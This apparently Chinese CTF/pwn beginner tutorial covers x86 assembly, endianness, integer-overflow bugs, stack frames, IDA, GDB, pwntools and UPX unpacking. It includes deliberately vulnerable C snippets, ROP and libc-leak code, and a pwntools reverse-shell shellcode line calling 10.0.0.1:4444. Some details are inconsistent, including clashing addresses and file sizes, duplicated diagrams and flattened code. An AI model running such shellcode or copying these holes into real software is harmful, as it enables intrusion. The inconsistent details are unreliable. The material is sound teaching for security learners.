  和 cmp 类似,但执行的是按位与(and),只影响标志位,不改变数据。

  最常见的用法是判断一个寄存器是否为 0:

  1 2	test rax, rax ; 如果 rax == 0, 则 ZF = 1 jz zero_branch ; 跳到"为零"的分支

  为什么不用 cmp rax, 0?因为 test rax, rax 的机器码更短,性能更好。

• loop(循环)：

  以 rcx 为计数器的循环指令。

  1 2 3 4

  mov rcx, 10 ; 循环 10 次 loop_start: ; ... 循环体 loop loop_start ; rcx--, 如果 rcx != 0 则跳回 loop_start

  相当于:

  1	for (rcx = 10; rcx != 0; rcx--) { ... }

函数调用类

后面就是最重要的函数调用和返回指令了。
这部分我们在了解完栈的结构再做讲解。
这部分对于你们来说可能有点复杂,听不懂也没关系,试着理解一下就好。

• call(函数调用)：

  函数调用指令

  call 指令同样也有两个动作:

  动作 1:压栈(Push)。它将 call 指令下一行代码的地址(返回地址)压入栈顶。

  动作 2:跳转(Jump)。直接跳到目标函数的代码起始位置。

  等价于:

  1 2	push <下一条指令的地址> jmp <目标函数地址>

• leave(还原栈帧)：

  leave 指令用于恢复之前的栈帧。

  同样也是两个动作:

  1. mov rsp, rbp

  2. pop rbp

  因为 rbp 指向的是我们的 old rbp(原函数的 rbp), 通过把 old rbp 的值传给 rsp, rsp 就会指向我们回到原函数。

  rbp 决定是哪个栈,rsp 决定执行什么。

• ret(弹出并返回)：

  ret 指令相当于 pop rip

  是跳转的最后一步。它会把栈顶的返回地址弹出,然后跳转回去,接着执行 call 之后的代码。

  等价于:

  1	pop rip ; (伪代码,rip 不能直接被 pop, CPU 内部完成)

• syscall(系统调用)：

  请求操作系统内核帮忙(如读写文件、退出进程等)。

  Linux x64 下的调用约定:

  • rax 存放系统调用号
  • 参数依次放在 rdi, rsi, rdx, r10, r8, r9
  • 返回值放在 rax

  经典例子:退出程序

  1 2 3

  mov rax, 60 ; 系统调用号 60 = exit mov rdi, 0 ; 退出码 0 syscall ; 进入内核

  另一个例子:往屏幕输出 “Hi”

  1 2 3 4 5

  mov rax, 1 ; sys_write mov rdi, 1 ; fd = 1 (stdout) mov rsi, msg ; 字符串地址 mov rdx, 2 ; 长度 syscall

例子:计算 1+2+…+10

结合以上指令,写一个从 1 累加到 10 的小程序:

1
2
3
4
5
6
7
8

    xor rax, rax            ; rax = 0  (累加器清零)
    mov rcx, 1              ; rcx = 1  (循环变量)
loop_start:
    add rax, rcx            ; rax += rcx
    inc rcx                 ; rcx++
    cmp rcx, 10             ; 比较 rcx 和 10
    jle loop_start          ; 如果 rcx <= 10, 继续循环
    ; 循环结束,rax = 55

对应 C 代码:

1
2

int sum = 0;
for (int i = 1; i <= 10; i++) sum += i;

intel语法与AT&T语法

在x86机构下会主要有两种汇编语法：

分别是intel和AT&T语法。

虽然就二进制的角度，我们接触比较多的还是Intel语法。这里还是提一下二者的差异，遇到能看懂即可。

1️⃣ 操作数顺序不同

1
2

Intel:  mov eax, 8          #  目标, 源       (eax ← 8)
AT&T:   movl $8, %eax       #  源, 目标       (8 → eax)

• Intel :a = b(左边是目标)
• AT&T :源 → 目标(数据从左流向右)

2️⃣ 寄存器记法有差异

1
2

Intel:  eax                 # 直接写寄存器名
AT&T:   %eax                # 必须加 % 前缀

AT&T

防止和变量名/符号冲突,让汇编器一眼识别出这是寄存器

3️⃣ 立即数记法有差异

1
2

Intel:  mov ebx, 0ffffh           # 前面加先导0,结尾加 h 表示十六进制
AT&T:   movl $0xffff, %ebx        # $ 表示立即数,0x 表示十六进制

• AT&T 的 $:表明”这是一个常数”,不是内存地址
• 十六进制写法:
  • Intel:0ffffh(结尾 h)或 0xffff
  • AT&T:必须用 0x 前缀

注意:Intel 里十六进制如果以字母开头(如 ffffh),要加 0 变成 0ffffh,否则会被当成标识符!

4️⃣ 访存寻址计法不同(非常关键!)

1
2

Intel:  mov eax, [ecx]            ← 方括号 [ ] 表示"取内存里的值"
AT&T:   movl (%ecx), %eax         ← 圆括号 ( ) 表示"取内存里的值"

复杂寻址对比:

1
2
3
4
5

; 访问 [基址 + 索引*缩放 + 偏移]
Intel:  [ebx + ecx*4 + 8]
AT&T:   8(%ebx, %ecx, 4)
        │    │     │   │
       偏移  基址  索引 缩放

5️⃣ 操作码助记符不同

1
2

Intel:  mov eax, 8          ← 指令不带后缀
AT&T:   movl $8, %eax       ← 指令带 l 后缀(long = 32位)

AT&T 的后缀规则:

其他助记符差异:

1
2
3
4

Intel:  int 80h             AT&T:  int $80
Intel:  retn                AT&T:  ret
Intel:  push ebp            AT&T:  pushl %ebp
Intel:  pop ebp             AT&T:  popl %ebp

五.数据类型&位数与字节

一、基本单位

小例子：

• 1 byte 能表示 2^8 = 256 种值 → 无符号：0~255，有符号：-128~127
• 4 byte 能表示 2^32 ≈ 42 亿种值
• 8 byte 能表示 2^64 ≈ 1.8 × 10^19 种值

内存寻址最小单位是 byte 而不是 bit
如果按位寻址，地址空间会膨胀 8 倍，硬件成本过高。1 byte 是权衡后的最小可操作单元。

二、常见数据类型的位数（C 语言，Linux x86/x64）

32 位地址 4 字节，64 位地址 8 字节。

三、二进制与十六进制

为什么用十六进制？

二进制太长，1 字节要写 8 位；十六进制 2 位 = 8 位二进制，一一对应，简洁直观。

1
2
3

二进制:    1111 1111
十六进制:  F    F       → 0xFF
十进制:    255

💡 前缀规范：C 语言中十六进制以 0x 开头（如 0x4141），二进制以 0b 开头（GCC 扩展，如 0b1010）。

对照表

例子

1
2
3
4
5
6
7
8

0xDEAD
=  D     E     A     D
= 1101  1110  1010  1101
= 57005（十进制）

0x41 = 'A'（ASCII）
0x7F = 0111 1111 = 127（DEL 控制字符）
0x00 = 0000 0000 = 0（C 字符串终止符，PWN 中最危险的字节）

位数术语

• 1 个十六进制位 = 4 bit = 半字节（nibble）
• 2 个十六进制位 = 1 字节
• 0x12345678 有 8 个十六进制位 = 4 字节（正好一个 dword）

🔧调试器视角：GDB 中 x/4wx $rsp 显示 4 个 dword（16 进制），x/8bx 显示 8 个 byte。

1
2
3
4
5
6
7
8
9

一个字节在内存里的真实样子：
    [●○●●○●○●]   ← 8个晶体管的状态（物理层面）
你可以把它当作：
  二进制看：  1011 0101          ← 直接映射
  十六进制看：0xB5                ← 合并每4位
  十进制看：  181                 ← 数学计算
  ASCII字符看：'µ' (extended)     ← 查ASCII表
  有符号整数：-75                 ← 按补码解释
同一个字节，5种看法，本质都是同一串比特！

“习惯”用十六进制表示字节:

1 字节 = 8 bit = 正好 2 个hex字符！

所以每个字节都能整齐地显示成 2 位hex：

字节1：0x41

字节2：0x42

字节3：0x43

字节4：0x00

1
2
3
4
5
6
7
8

GDB / IDA / WinHex 里看内存，永远是十六进制：

地址             字节内容                            ASCII
0x7ffdd000:  48 65 6c 6c 6f 20 57 6f 72 6c 64 00    Hello World.
0x7ffdd00C:  12 34 56 78 9a bc de f0 ff ff ff ff    .4Vx........

每个字节显示成 2 位 hex，整整齐齐
这是行业标准格式，所有工具都这样显示

四、字符串

本质：字符串就是字节序列 + 结束符

1

char s[] = "ABC";

内存中实际存储：

1
2
3
4

地址:     0x00   0x01   0x02   0x03
内容:     0x41   0x42   0x43   0x00
字符:     'A'    'B'    'C'    '\0'    ← C 字符串必须以 \0 结尾
ASCII:    65     66     67     0

小例子对比：

1
2
3

"ABC"      → 4 字节（含 \0）
"A\x00B"   → 4 字节，但 strlen 返回 1（遇 \0 就停）
"\x41\x42" → 2 字节，等价于 "AB"

关键：strcpy、gets、strcat 等函数遇 \0 停止，构造 payload 时要避免中间出现 \x00 截断。

五、字节序（Endianness）

多字节数据在内存里的摆放顺序。

大端序（Big Endian）

高位字节放低地址，符合人类阅读习惯。常见于网络协议（网络字节序）、PowerPC、ARM 可选模式。

小端序（Little Endian）

低位字节放低地址，与人类阅读顺序相反。x86/x64 CPU 使用。

存储 0x12345678（4 字节）

1
2
3
4
5
6
7

           低地址 ──────────────────────────► 高地址
           
大端序:    0x12   0x34   0x56   0x78       (正着放)
           ↑高位                         ↑低位
           
小端序:    0x78   0x56   0x34   0x12       (反着放)   ← x86/x64
           ↑低位                         ↑高位

小例子

1
2
3

int x = 0x12345678;
// 在 x86 Linux 上，内存里从低地址看：
// 78 56 34 12

1
2
3
4
5

# PWN 中构造地址（64 位，小端）
from pwn import *
addr = 0x400abc
payload = p64(addr)
# 实际字节：bc 0a 40 00 00 00 00 00

✅ 有字节序:多字节的数值类型

1
2
3

<C>
int x = 0x12345678;    // 4 字节整数
long y = 0x1122334455667788;  // 8 字节整数

❌ 没字节序:单字节序列

1
2

char s[] = "/bin/sh";   // 字符串(每个字符 1 字节)
char c = 'A';           // 单个字符

🔍 对比示例
例 1:字符串 “/bin/sh” (无字节序)

1
2
3
4
5
6
7
8
9
10
11
12

<TEXT>
内存地址         内容
┌─────────┬──────────────────┐
│0x404140 │ '/' (0x2F)       │ ← 第 1 个字符
│0x404141 │ 'b' (0x62)       │ ← 第 2 个字符
│0x404142 │ 'i' (0x69)       │ ← 第 3 个字符
│0x404143 │ 'n' (0x6E)       │ ← 第 4 个字符
│0x404144 │ '/' (0x2F)       │
│0x404145 │ 's' (0x73)       │
│0x404146 │ 'h' (0x68)       │
│0x404147 │ '\0' (0x00)      │
└─────────┴──────────────────┘

✅ 按正常顺序存储(因为每个字符独立,1 字节)
❌ 看不出字节序
例 2:64 位整数 0x68732F6E69622F (有字节序)
如果把 “/bin/sh” 当作一个 8 字节整数 来看:

1
2
3
4
5
6
7
8
9
10
11
12
13

<TEXT>
数值(小端序存储):
  低位字节 → 高位字节
┌─────────┬──────────────────┐
│0x404140 │ 0x2F  ('/' 低位) │  ← 低位在前!
│0x404141 │ 0x62  ('b')      │
│0x404142 │ 0x69  ('i')      │
│0x404143 │ 0x6E  ('n')      │
│0x404144 │ 0x2F  ('/')      │
│0x404145 │ 0x73  ('s')      │
│0x404146 │ 0x68  ('h' 高位) │  ← 高位在后
│0x404147 │ 0x00              │
└─────────┴──────────────────┘

✅ 这时候才体现小端序(低位在低地址)

六、有符号 vs 无符号

计算机内存里存的只是一串 0 和 1,具体代表什么数,取决于类型怎么解释它。
以 8 位整数为例(1 字节,取值范围 256 个):

字节: 1 1 1 1 1 1 1 1 (即 0xFF)

无符号解释: 255 有符号解释: -1 ← 最高位为 1,视为负数

一、基本类型:默认是有符号

1
2
3
4
5
6
7
8
9
10
11

<C>

char      // 有符号(大多数平台,但标准未规定,取决于编译器)

short     // 有符号

int       // 有符号  ← 最常用,默认有符号

long      // 有符号

long long // 有符号

写 int x; 等价于 signed int x;,默认都是有符号。

二、加了 unsigned 才是无符号

1
2
3
4
5
6
7
8
9
10

<C>
unsigned char       // 0 ~ 255

unsigned short      // 0 ~ 65535

unsigned int        // 0 ~ 0xFFFFFFFF

unsigned long

unsigned long long

三、标准库里常见的”隐形无符号”(最容易踩坑)

这些类型名字里没有 unsigned,但本质是无符号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<C>

size_t        // 无符号 ← sizeof、strlen、malloc、memcpy 等都用它

ssize_t       // 有符号 ← 注意前面多个 s,read/write 返回值用它(可返回 -1)

uint8_t       // 无符号 8 位

uint16_t      // 无符号 16 位

uint32_t      // 无符号 32 位

uint64_t      // 无符号 64 位

int8_t / int16_t / int32_t / int64_t   // 有符号

off_t         // 有符号(文件偏移,可为负)

ptrdiff_t     // 有符号(指针相减结果)

uintptr_t     // 无符号(指针转整数)

例 1:输入负数绕过长度检查(最经典)

1
2
3
4
5
6
7
8
9
10

<C>
char buf[100];

int size;

scanf("%d", &size);

if (size > 100) return;       // 只检查上限

read(0, buf, size);           // read 第 3 参数是 size_t(无符号)

输入 size = -1:

• 有符号比较:-1 > 100 → false,检查通过
• 传给 read:(size_t)(-1) = 0xFFFFFFFF(约 42 亿)
• 结果:巨量栈溢出

例 2:有符号加法溢出变负数

1
2
3
4
5
6
7
8
9
10
11
12
13

<C>

int a, b;

scanf("%d %d", &a, &b);

if (a + b > 1000) return;     // 看似检查总和

char buf[1000];

read(0, buf, a);

read(0, buf + a, b);

输入 a = 0x7FFFFFFF, b = 1:

• a + b = 0x80000000,有符号解释为 -2147483648(最小负数)
• -2147483648 > 1000 → false,检查通过
• 然后正常把 a = 20 多亿字节读进 buf

例 3:无符号减法下溢

1
2
3
4
5
6
7
8
9

<C>

void copy(char *src, unsigned int len) {

    char buf[100];

    memcpy(buf, src, len - 1);    // 没检查 len 是否为 0

}

调用 copy(src, 0):

• len - 1 = 0 - 1,无符号下溢 → 0xFFFFFFFF
• memcpy 复制 40 多亿字节 →

例 4:strlen 返回值被当有符号用

1
2
3
4
5
6
7
8
9
10
11
12

char *s = get_input();

int len = strlen(s);          // ⚠️ strlen 返回 size_t(无符号)

if (len < 100) {

    char buf[100];

    memcpy(buf, s, len);

}

正常输入没问题,但如果 s 长度是 0xFFFFFFFF80000000(理论极长串):

• strlen 返回巨大的无符号值
• 赋给 int len 后被解释成负数
• 负数 < 100 → true,通过检查 ✅
• memcpy 按无符号使用又变成巨大值 → 💥

例 5:有符号数组索引未检查下限

1
2
3
4
5
6
7
8
9
10

int arr[100];

int idx;

scanf("%d", &idx);

if (idx >= 100) return;       // 只检查上限,没检查 idx >= 0

arr[idx] = 0xdeadbeef;

输入 idx = -1:

• -1 >= 100 → false,通过检查
• arr[-1] 实际写到 arr 前面 4 字节的内存(可能是 saved ebp / 返回地址)
• 任意写,直接控制程序流

例 6:类型截断导致检查失效

1
2
3
4
5
6
7
8
9
10

<C>
unsigned int len;

scanf("%u", &len);

short n = len;                // ⚠️ 32位 → 16位,高位丢弃

if (n > 100) return;

read(0, buf, len);            // 用的是原始 len!

输入 len = 0x10000(65536):

• n = (short)0x10000 = 0(低 16 位全是 0)
• 0 > 100 → false,通过检查
• read 用原始的 len = 65536,读入 6 万多字节 →

七.栈的结构

将完基础的汇编指令

这里给大家讲一下栈的概念：

栈是二进制非常核心的一个概念

栈简介：（选自ctfwiki）

栈是一种典型的后进先出 (Last in First Out) 的数据结构，其操作主要有压栈 (push) 与出栈 (pop) 两种操作。

高级语言在运行时都会被转换为汇编程序，在汇编程序运行过程中，充分利用了这一数据结构。每个程序在运行时都有虚拟地址空间，其中某一部分就是该程序对应的栈，用于保存函数调用信息和局部变量。此外，常见的操作也是压栈与出栈。需要注意的是，程序的栈是从进程地址空间的高地址向低地址增长的。

栈的作用

对于汇编语言来说，处理数据的地方主要有三个：

寄存器，栈，堆

大家知道c语言的本质是进行函数的嵌套利用，而栈就是支撑这种调用的骨架

每一个函数都拥有自己的“生命周期段”，也就是我们常说的“栈帧”（Stack Frame）。

一个栈作用于一个一个函数，始于push rbp，至于ret返回地址

• 1.栈中存储可以局部变量：

这个是栈最基本的功能。

在栈里，局部变量是往“低地址”方向堆叠的。

注意可以是数据也可以是地址。

• 2.函数调用管理：

存储返回地址，实现 call 和 ret。

这三个可以说是栈最基础的功能。

• 3.进行参数传递：

x64:当函数参数超过 6 个（寄存器不够用）时，剩下的塞进栈里。

x86:直接通过压栈进行参数传递。

栈的结构：

以上便是栈的结构。

RBP (Base Pointer - 栈底指针)： 它是“定海神针”。一旦函数入场，RBP 就指向刚才存下的“旧地基”。有了它，函数找局部变量就有了一个固定的参考点（比如 rbp-0x10）。

RSP (Stack Pointer - 栈顶指针)： 它是“伸缩天线”。随着你 push 或 sub rsp，它会不断变化。它永远指向当前栈的最顶端（最低地址）。

栈的生长方向是向低地址生长的，所以随着push的数据栈顶指针的地址会越来越小。

栈是后进先出的（LIFO）

返回地址 (Return Address)： 它不在你的函数领地内，它就在 Saved RBP 的正下方（高地址处）。它是调用者（如 main）留下的坐标。比如：main函数调用printf

在read栈帧中返回地址位置存的就是main函数的地址。

这里就可以回溯到刚刚call ret指令的讲解了。

而这个返回地址对于pwn来说至关重要。

八.demo（演示）:

这里还是刚刚的demo为例子吧

认识一下栈的结构：

1
2
3
4
5
6
7
8
9
10

#include <stdio.h>
void addAndPrint(int a, int b) {
int sum = a + b;
}
int main() {
int num1 = 10;
int num2 = 20;
addAndPrint(num1, num2);
return 0;
}

源码是这样的

r启动

• push ebp–开辟新的栈帧 main 栈帧：

可以看到esp - 4 ebp的值0被压入栈中。

• mov ebp,esp：

此时ebp,esp共同指向0x..78这里

还记得说过栈是向低地址生长的吗

此时是还未出生的状态。

• sub esp,8:

减少esp，开辟栈空间

可以看到栈中的情况。

此时esp指向的是0x70，而ebp依旧是0x78

• mov压入局部变量

  

这里可以看到：

局部变量int a = 10

​ int b =20 被压入栈中。

• 压入参数

之前我们说过参数是从右往左传递的这里也可以看出来。

• 函数调用：

这里我们使用si看看调用过程中会发生什么：

观察栈中不难发现

call指令首先把 add函数的下一条指令压入到了栈中

也就是esp现在指向的地址

这个是为了调用完函数后的返回。

• 建立函数栈帧：

  

这里我们执行了push ebp和mov ebp,esp

是不是感觉比较熟悉

这和我们建立main函数栈帧的操作如出医者。

这里看一下栈空间 ebp 下面的是main函数中的一个地址 （add esp,0x10）

再步进一步

这里我们就可以清楚的看到栈的结构了

esp ebp 和返回地址

这个返回地址正是一开始main函数中 call add后面的指令

这就说明 我们执行完add函数后

会回溯到main函数中执行这条指令。

• 计算（add函数）

这里函数调用的过程我们就跳过来了

不过可以看到我们的计算结果0x1e是存再了eax里面。

• leave ret 回到main函数

这里就是难点了。

现在我们已经完成了我们想要的计算。剩下的就是回到main函数继续向下指行了。

leave ret正是完成这一操作的指令。

这里看一下执行前的情况：

开始执行leave:

我们知道leave 相当于mov esp,ebp; pop ebp

这里我们简单说一下吧，不要求懂，听个热闹吧

mov esp ebp后：

ebp：0x60->0x78<-0

ebp首先指向的是0x60然后指向的是old ebp

此时ebp和esp都指向0x60

然后是pop ebp

0x60指向的0x78被弹入ebp寄存器

而esp也因此+4

现在指向的是返回地址。

下一步ret

等价于pop eip

就把esp指向的main+31弹入到eip寄存器中。

此时我们的调用就结束了开始继续执行main函数了 。

九.工具的使用

ida

IDA 是二进制安全中⼀个很重要的软件，也是逆向⼊⻔需要掌握的⼀个软件。它 是由Hex-Rays公司开发的 交互式反汇编⼯具，被⼴泛视为逆向⼯程领域的⾏业标准⼯具。 下⾯是⼀些常⽤的快捷键

F5查看伪代码：

shift+f12查看字符串

x查看交叉引用

Y 键修改变量类型

例题：Start

拿到附件后，可以运行查看指引，也可以直接使用 IDA 打开，也有相同的指引。

打开后看到的是 IDA 反汇编的代码，不过我们需要看反编译出的代码才能理解程序逻辑

根据提示，按下 F5 来反编译

双击flag_part1

按A识别成字符串

使用 Shift + F12 可以打开字符串表，IDA 会将程序中的静态字符串列出来，可以找到第二段 flag

根据提示查看交叉引用，可以看到有什么函数引用到了这个变量。

成功找到目标函数。

再次根据提示查看交叉引用可以找到flag3所在函数。

这里就找到了全部的flag

gdb

gdb启动 r

gdb b 设断点

disas main

set $rdi = 0xdeadbeef

步过与步进

x

例题：GNU Debugge

第一关：

这里可以直接看到r12

第二关：

读取目标地址处的内存信息

通过x/s读取字符串信息

第三关：

考察设置断点

第四关：

考察的是set指令

通过set指令把0x7fffffffdb64存储数据改为0xdeadbeef

动态调试还是非常重要的，可以随便找个简单题调调试试。

脚本里面的话可以通过gdb.attach()进行调试脚本。

程序停在发送前，通过ni单步调试就可以看发送流程。

pwntool与pwn脚本

pwntools是什么？

Python 编写的一个用于二进制利用的工具包

重点对象：PWN/CTF/渗透测试

提供便捷的 API，自动化部署，连接，构造 payload，ROP 分析，libc 查询…

安装

1

pip install pwntools

基础语法

pwntool打开软件：

1
2
3
4

 from pwn import *
r = process("./test") # 本地运行\#
r = remote("target", 1234) # 远程 nc-like 连接 
r.interactive() # 交互式

发送和接收：

发送：

接收：

构造 payload：

1
2
3
4
5
6

p1 = b'A'*10+p32(0x080491d6)

p2 = b'B'*10+p64(0x401238)

print(p1,p2)

ELF 分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

elf = ELF("./test")

# 🔍 符号地址
elf.symbols['main']      # main 函数地址
elf.symbols['system']    # system 函数地址(若有)

# 📋 GOT / PLT 表
elf.got['puts']          # puts 的 GOT 表项地址(写)
elf.plt['puts']          # puts 的 PLT 表项地址(调用)

# 🔎 搜索字符串 / 字节
next(elf.search(b"/bin/sh"))     # 在 ELF 中搜索 "/bin/sh"

# 📊 基址 & 保护机制
elf.address              # PIE 基址(默认 0,leak 后可重设)
elf.address = 0x555555554000   # 重设基址,后续符号自动偏移

libc分析：

1
2
3
4

libc = ELF("./libc.so.6")
libc.address = leak_addr - libc.symbols['puts']   # 计算 libc 基址
system  = libc.symbols['system']
bin_sh  = next(libc.search(b"/bin/sh"))

ROP 链分析

1
2
3
4
5
6
7
8

elf = ELF("./test")
rop = ROP(elf)

rop.call("puts", [elf.got['puts']])     # 调用 puts(puts_got) 泄露地址
rop.call(elf.symbols['main'])           # 返回 main 再次利用

print(rop.dump())                       # 可视化打印 ROP 链
payload = b'A' * 40 + rop.chain()

动态 shellcode 生成

1
2
3
4
5
6
7
8
9
10

context.arch = 'amd64'                  # 必须先设架构!
# 经典 execve("/bin/sh")
shellcode = asm(shellcraft.sh())
#自定义系统调用
shellcode = asm(shellcraft.execve('/bin/sh', 0, 0))
#反向 shell
shellcode = asm(shellcraft.connect('10.0.0.1', 4444) + shellcraft.dupsh())
#任意汇编 → 机器码
code = asm("mov rax, 0x3b; syscall")

保护机制检测

1
2

# 命令行
checksec ./test

1
2
3

# Python 中
elf = ELF("./test")
print(elf.checksec())

调试辅助

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 打印日志(不同等级带颜色)
log.info("leak addr = %#x" % leak)
log.success("Got shell!")
log.warning("Maybe wrong offset")
log.error("Exit immediately")   # 直接退出脚本

# 暂停(用于挂 GDB)
pause()

# GDB 调试
gdb.attach(r, '''
    b *0x401234
    c
''')

十.RE

UPX壳(done?)

demo:(以elf为例)

1
2
3
4
5
6
7

#include <stdio.h>

int main() {
    char *msg = "Hello CTF!";
    printf("%s\n", msg);
    return 0;
}

gcc编译成二进制文件并加上一个upx壳保护

可以看到demo_upx被明显压缩了很多。

从785360个字节压缩成了331580个字节。

两个文件都是可以正常运行的：

那是哪些数据被压缩了呢

查看 ELF 文件头

这里可以看到：

entry point：程序的入口地址变了

原来的流程：

1
2
3
4
5
6
7
8
9
10
11
12

Linux 加载 demo_upx
    ↓
跳到 Entry point = 0x4fb218   ← 必须先跳到 stub!
    ↓
执行 UPX stub
    ├── 解压被压缩的原代码
    ├── 写入内存
    └── 设置权限
    ↓
跳到原 Entry point (0x401790)
    ↓
执行原程序

现在的流程：

1
2
3
4
5
6
7
8
9
10
11
12

Linux 加载 demo_upx
    ↓
跳到 Entry point = 0x4fb218  ← 必须先跳到 stub！
    ↓
执行 UPX stub
    ├── 解压被压缩的原代码
    ├── 写入内存
    └── 设置权限
    ↓
跳到原 Entry point (0x401790)
    ↓
执行原程序

在运行程序start前必须先运行stub

section header table：节表被干掉了

1. 反分析没有 section headers，objdump、readelf -S 等工具失效
2. 减小体积：section headers 占用空间
3. 运行不需要：Linux 只需要 program headers 就能执行

program header：程序头表数量减少了

原程序：

1
2
3
4
5
6
7
8
9
10

PHDR          - 程序头本身
INTERP        - 动态链接器路径
LOAD (R)      - 只读段（代码）
LOAD (RW)     - 读写段（数据）
DYNAMIC       - 动态链接信息
NOTE          - 注释
GNU_EH_FRAME  - 异常处理
GNU_STACK     - 栈属性
GNU_RELRO     - 重定位只读

upx压缩后的程序：

1
2
3

LOAD (R+X)    - 包含 stub 和压缩数据
LOAD (RW)     - 运行时数据
???           - 其他

UPX 把 10 个段合并成 3 个，因为运行时只需要最基本的几个。

upx原理：

1.upx用 NRV2B 或 LZMA 算法（和 zip、rar 是同类技术）把程序压缩成一堆乱码，一堆看不懂的乱码，不能直接运行，必须先解压。

1
2
3
4
5
6
7
8
9

原程序（大）                 压缩后（小）
┌──────────────────┐        ┌────────┐
│ 代码             │        │        │
│ 数据             │  压缩   │ 一坨   │
│ 字符串           │ ─────→  │ 乱码   │
│ ...              │        │        │
│                  │        └────────┘
└──────────────────┘          320 KB
      852 KB

2.upx会加载stub代码:

stun函数用来解压数据。

1. 找到那坨压缩数据
2. 解压它
3. 把解压结果放到内存里正确的位置
4. 跳过去执行原程序

这里的四个函数就很好的展现了stub的过程

前面的几个函数实现了

来看一下sub_4FB434:

前面的函数我们实现了解压数据 而这个函数就是为我们分配内存跳转到加壳前的入口地址空间正常执行。

1
2
3
4
5
6
7
8
9
10
11
12

void __fastcall sub_4FB434(__int64 a1, __int64 a2, int a3)
{
  ...
  start = sys_open((const char *)start, 0, a3);        // 系统调用
  ...
  v10 = sys_mmap(0, v7, 3u, 0x22u, 0xFFFFFFFF, 0);     // 分配内存
  ...
  ((void (__fastcall *)(...))v3)(v6 + 3, v10, v11, v14, ...);  //  调用解压
  v13 = sys_mprotect(v15, start, 5u);                  //  改权限 R+X
  __asm { jmp     r13 }                                //  跳到 原入口地址。
}

sys_mmap - 分配内存

1
2

<C>
mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)

申请一块可读可写的内存，用来存放解压后的原程序。

sys_mprotect - 改权限

1
2
3

<C>

mprotect(addr, size, PROT_READ|PROT_EXEC)

解压完后，把内存改成可读可执行（代码段权限）。

为什么？

• 解压时需要 写入（所以开始是 RW）
• 执行时需要 执行（所以改成 RX）
• 这是安全特性：代码段一般不可写

jmp r13 - 跳到 OEP

1
2
3

<ASM>

jmp r13

r13 存的是什么？

• 解压后的原程序入口地址！
• 也就是 0x401790

3.压缩数据 + stub”重新打包成一个新的可执行文件

1
2
3
4
5
6
7
8
9
10
11

原程序 demo                   加壳后 demo_upx
┌──────────────┐             ┌──────────────┐
│              │             │ stub         │ ← 新的入口（先运行这个）
│  原始代码    │              │（解压小程序）  │
│     +        │   UPX       ├──────────────┤
│  数据        │  ─────→      │              │
│     +        │             │ 压缩数据      │ ← 原程序被压缩后的样子
│  字符串      │              │（看不懂的      │
│              │             │  乱码）       │
└──────────────┘             └──────────────┘
   852 KB                       320 KB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

双击 demo_upx（或 ./demo_upx）
        │
        ▼
┌───────────────────────────────────┐
│ 步骤 1：操作系统加载 demo_upx       │
│   读文件 → 映射到内存              │
│   按照"入口地址"开始执行           │
└───────────────────────────────────┘
        │
        │  入口地址指向 stub！
        ▼
┌───────────────────────────────────┐
│ 步骤 2：stub 开始执行               │
│   "嗨，我是解压器"                 │
│                                   │
│   a. 保存 CPU 寄存器状态          │ ← push rsi, rdi, rcx, rdx, rbx
│   b. 找到压缩数据的位置            │
│   c. 开始解压                     │
│      压缩数据 → 原始代码和数据    │
│   d. 把解压结果放到内存            │
│      （放到原程序该在的地方）      │
│   e. 恢复 CPU 寄存器状态           │ ← pop rbx, rdx, rcx, rdi, rsi
└───────────────────────────────────┘
        │
        │  解压完成，跳转！
        ▼
┌───────────────────────────────────┐
│ 步骤 3：跳到原程序的入口（OEP）    │
│   jmp 0x401670                    │
│   从这一刻起，就和没加壳一样了    │
└───────────────────────────────────┘
        │
        ▼
┌───────────────────────────────────┐
│ 步骤 4：原程序正常执行              │
│   printf("Hello CTF!\n");         │
│   输出：Hello CTF!                │
│   return 0;                       │
└───────────────────────────────────┘

运行时候的内存和没加壳的时候是一样的

1
2
3
4
5
6
7
8
9
10
11

未加壳时的内存：              加壳后运行到 OEP 时的内存：
┌──────────────┐             ┌─────────────┐
│ 原程序代码   │              │ 原程序代码    │ ← 解压出来的
│ 在 0x401670  │             │ 在 0x401670  │ 
│              │   一模一样   │              │
│ 数据 ...     │    ←→        │ 数据 ...     │
│              │             │              │
└──────────────┘             ├──────────────┤
                             │ stub 在      │ ← 多出来的，但已经运行完了
                             │ 0xc133b0     │
                             └──────────────┘

因为运行时候的内存是一样的 这就是为什么一定能够脱壳的原因，

加壳&&运行过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

═══════════════════════════════════════════════════════════
                         加壳过程
═══════════════════════════════════════════════════════════

   原程序 demo                             
   ┌─────────────────────┐                 
   │ ELF 头              │  入口=0x401670  
   ├─────────────────────┤                 
   │ 代码段（.text）     │                 
   │   main 函数         │                 
   │   printf 实现       │                 
   │   ...               │                 
   ├─────────────────────┤                 
   │ 只读数据（.rodata） │                 
   │   "Hello CTF!"      │                 
   ├─────────────────────┤                 
   │ 可写数据（.data）   │                 
   ├─────────────────────┤                 
   │ 调试信息            │                 
   │ 符号表              │                 
   └─────────────────────┘                 
          852 KB                           
                                           
              │ UPX 加壳                   
              ▼                            
                                           
   ┌─────────────────────┐                 
   │ 第 1 步：压缩        │                 
   │  原程序全部内容 →   │                 
   │  一坨压缩数据       │                 
   │  （852KB → 300KB）  │                 
   └─────────────────────┘                 
              │                            
              ▼                            
   ┌─────────────────────┐                 
   │ 第 2 步：写 stub     │                 
   │  小段解压代码       │                 
   │  （几 KB）          │                 
   └─────────────────────┘                 
              │                            
              ▼                            
   ┌─────────────────────┐                 
   │ 第 3 步：组装        │                 
   │  伪造新 ELF 头      │                 
   │  + 压缩数据         │                 
   │  + stub             │                 
   │  + 原 ELF 头备份    │                 
   └─────────────────────┘                 
              │                            
              ▼                            
                                           
   加壳后 demo_upx                         
   ┌─────────────────────┐                 
   │ 新 ELF 头（伪造）   │  入口=0xc133b0  
   │                    │   ↓ 指向 stub   
